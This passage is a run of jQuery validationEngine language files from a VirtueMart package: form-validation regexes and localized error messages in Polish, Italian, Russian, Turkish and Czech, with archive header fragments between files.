]?[0-9]{1,4})?$/, "alertText": "* Nieprawidłowy numer telefonu" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Nieprawidłowy adres e-mail" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Nieprawidłowa liczba całkowita" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Nieprawidłowa liczba dziesiętna" }, "CZdate": { // Date in Polish format, regex taken from Czech translation "regex": /^(0[1-9]|[12][0-9]|3[01])[. /.](0[1-9]|1[012])[. /.](19|20)\d{2}$/, "alertText": "* Data musi być w postaci DD.MM.RRRR" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data musi być w postaci RRRR-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Nieprawidłowy adres IP" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Nieprawidłowy adres internetowy" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Tylko liczby" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Tylko litery" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Tylko litery i liczby" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Nazwa użytkownika jest już zajęta", "alertTextLoad": "* Walidacja, proszę czekać" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Nazwa jest już zajęta", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Nazwa jest dostępna", // speaks by itself "alertTextLoad": "* Walidacja, proszę czekać" }, "validate2fields": { "alertText": "* Proszę wpisać HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\ tt@com_virtuemart/assets/js/languages/jquery.validationEngine-it.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){}; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Campo richiesto", "alertTextCheckboxMultiple": "* Per favore selezionare un'opzione", "alertTextCheckboxe": "* E' richiesta la selezione della casella" }, "length": { "regex": "none", "alertText": "* Fra ", "alertText2": " e ", "alertText3": " caratteri permessi" }, "maxCheckbox": { "regex": "none", "alertText": "* Numero di caselle da selezionare in eccesso" }, "minCheckbox": { "regex": "none", "alertText": "* Per favore selezionare ", "alertText2": " opzioni" }, "equals": { "regex": "none", "alertText": "* I campi non corrispondono" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numero di telefono non corretto" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Indirizzo non corretto" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Numero intero non corretto" }, "number": { // Number, including positive, negative, and floating decimal. Credit: bassistance "regex": /^[\-\+]?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)$/, "alertText": "* Numero decimale non corretto" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data non corretta, re-inserire secondo formato AAAA-MM-GG" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* IP non corretto" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL non corretta" }, "onlyNumber": { "regex": /^[0-9\ ]+$/, "alertText": "* Solo numeri" }, "onlyLetter": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Solo lettere" }, "validate2fields": { "nname": "validate2fields", "alertText": "* Occorre inserire nome e cognome" }, "noSpecialCharacters": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Caratteri speciali non permessi" }, "ajaxUserCall": { "file": "ajaxValidateFieldName", "extraData": "name=eric", "alertTextLoad": "* Caricamento, attendere per favore", "alertText": "* Questo user � gi� stato utilizzato" }, "ajaxNameCall": { "file": "ajaxValidateFieldName", "alertText": "* Questo nome � gi� stato utilizzato", "alertTextOk": "* Questo nome � disponibile", "alertTextLoad": "* Caricamento, attendere per favore" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\ԯ@com_virtuemart/assets/js/languages/jquery.validationEngine-ru.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Необходимо заполнить", "alertTextCheckboxMultiple": "* Вы должны выбрать вариант", "alertTextCheckboxe": "* Необходимо отметить" }, "minSize": { "regex": "none", "alertText": "* Минимум ", "alertText2": " символа(ов)" }, "maxSize": { "regex": "none", "alertText": "* Максимум ", "alertText2": " символа(ов)" }, "min": { "regex": "none", "alertText": "* Минимальное значение " }, "max": { "regex": "none", "alertText": "* Максимальное значение " }, "past": { "regex": "none", "alertText": "* Дата до " }, "future": { "regex": "none", "alertText": "* Дата от " }, "maxCheckbox": { "regex": "none", "alertText": "* Нельзя выбрать столько вариантов" }, "minCheckbox": { "regex": "none", "alertText": "* Пожалуйста, выберите ", "alertText2": " опцию(ии)" }, "equals": { "regex": "none", "alertText": "* Поля не совпадают" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Неправильный формат телефона" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Неверный формат email" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Не целое число" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Неправильное число с плавающей точкой" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Неправильная дата (должно быть в ДД.MM.ГГГГ формате)" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Неправильный IP-адрес" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Неправильный URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Только числа" }, "onlyLetterSp": { "regex": /^[a-zA-Z\u0400-\u04FF\ \']+$/, "alertText": "* Только буквы" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z\u0400-\u04FF]+$/, "alertText": "* Запрещены специальные символы" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Этот пользователь уже занят", "alertTextLoad": "* Проверка, подождите..." }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Это имя уже занято", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Это имя доступно", // speaks by itself "alertTextLoad": "* Проверка, подождите..." }, "validate2fields": { "alertText": "* Пожалуйста, введите HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\!!@com_virtuemart/assets/js/languages/jquery.validationEngine-tr.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Bu alan zorunludur", "alertTextCheckboxMultiple": "* Lütfen bir seçeneği işaretleyiniz", "alertTextCheckboxe": "* Bu onay kutusu zorunludur" }, "minSize": { "regex": "none", "alertText": "* Bu alana en az ", "alertText2": " karakter girmelisiniz " }, "maxSize": { "regex": "none", "alertText": "* Bu alana en fazla ", "alertText2": " karakter girebilirsiniz" }, "min": { "regex": "none", "alertText": "* Geçerli en küçük değer: " }, "max": { "regex": "none", "alertText": "* Geçerli en yüksek değer: " }, "past": { "regex": "none", "alertText": "* Lütfen ", "alertText2": " tarihinden daha ileri bir tarih giriniz " }, "future": { "regex": "none", "alertText": "* Lütfen ", "alertText2": " tarihinden daha geri bir tarih giriniz " }, "maxCheckbox": { "regex": "none", "alertText": "* En fazla ", "alertText2": " onay kutusu işaretleyebilirsiniz" }, "minCheckbox": { "regex": "none", "alertText": "* Lütfen en az ", "alertText2": " onay kutusunu işaretleyiniz" }, "equals": { "regex": "none", "alertText": "* Değerler aynı olmalı" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Geçersiz telefon numarası" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Geçersiz eposta adresi" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Geçerli bir tam sayı değil" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Geçerli bir noktalı sayı değil" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Geçersiz tarih. Tarih YYYY-MM-DD formatında olmalı" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Geçersiz IP adresi" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Geçersiz URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Bu alanda sadece rakam olmalı" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Bu alanda sadece harf olmalı" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Bu alanda özel karakterler olamaz" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Bu kullanıcı adı kullanımda", "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxUserCallPhp": { "url": "phpajax/ajaxValidateFieldUser.php", // you may want to pass extra data on the ajax call "extraData": "name=eric", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Bu kullanıcı adını kullanabilirsiniz", "alertText": "* Bu kullanıcı adı kullanımda", "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Bu isim kullanımda", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Bu isim kullanılabilir", // speaks by itself "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxNameCallPhp": { // remote json service location "url": "phpajax/ajaxValidateFieldName.php", // error "alertText": "* Bu isim kullanımda", // speaks by itself "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "validate2fields": { "alertText": "* Lütfen 'HELLO' yazın" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKGy>\QCտ!!@com_virtuemart/assets/js/languages/jquery.validationEngine-cz.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Tato položka je povinná", "alertTextCheckboxMultiple": "* Prosím vyberte jednu možnost", "alertTextCheckboxe": "* Tato položka je povinná" }, "minSize": { "regex": "none", "alertText": "* Minimálně ", "alertText2": " znaky" }, "maxSize": { "regex": "none", "alertText": "* Maximálně ", "alertText2": " znaky" }, "min": { "regex": "none", "alertText": "* Minimální hodnota je " }, "max": { "regex": "none", "alertText": "* Maximální hodnota je " }, "past": { "regex": "none", "alertText": "* Date prior to " }, "future": { "regex": "none", "alertText": "* Date past " }, "maxCheckbox": { "regex": "none", "alertText": "* Počet vybraných položek přesáhl limit" }, "minCheckbox": { "regex": "none", "alertText": "* Prosím vyberte ", "alertText2": " volbu" }, "equals": { "regex": "none", "alertText": "* Pole se neshodují" }, "CZphone": { // telefoní číslo "regex": /^([\+][0-9]{1,3}[ \.\-])([0-9]{3}[\-][0-9]{3}[\-][0-9]{3})$/, "alertText": "* Neplatné telefoní číslo, zadejte ve formátu +420 598-598-895" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Invalid phone number" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": 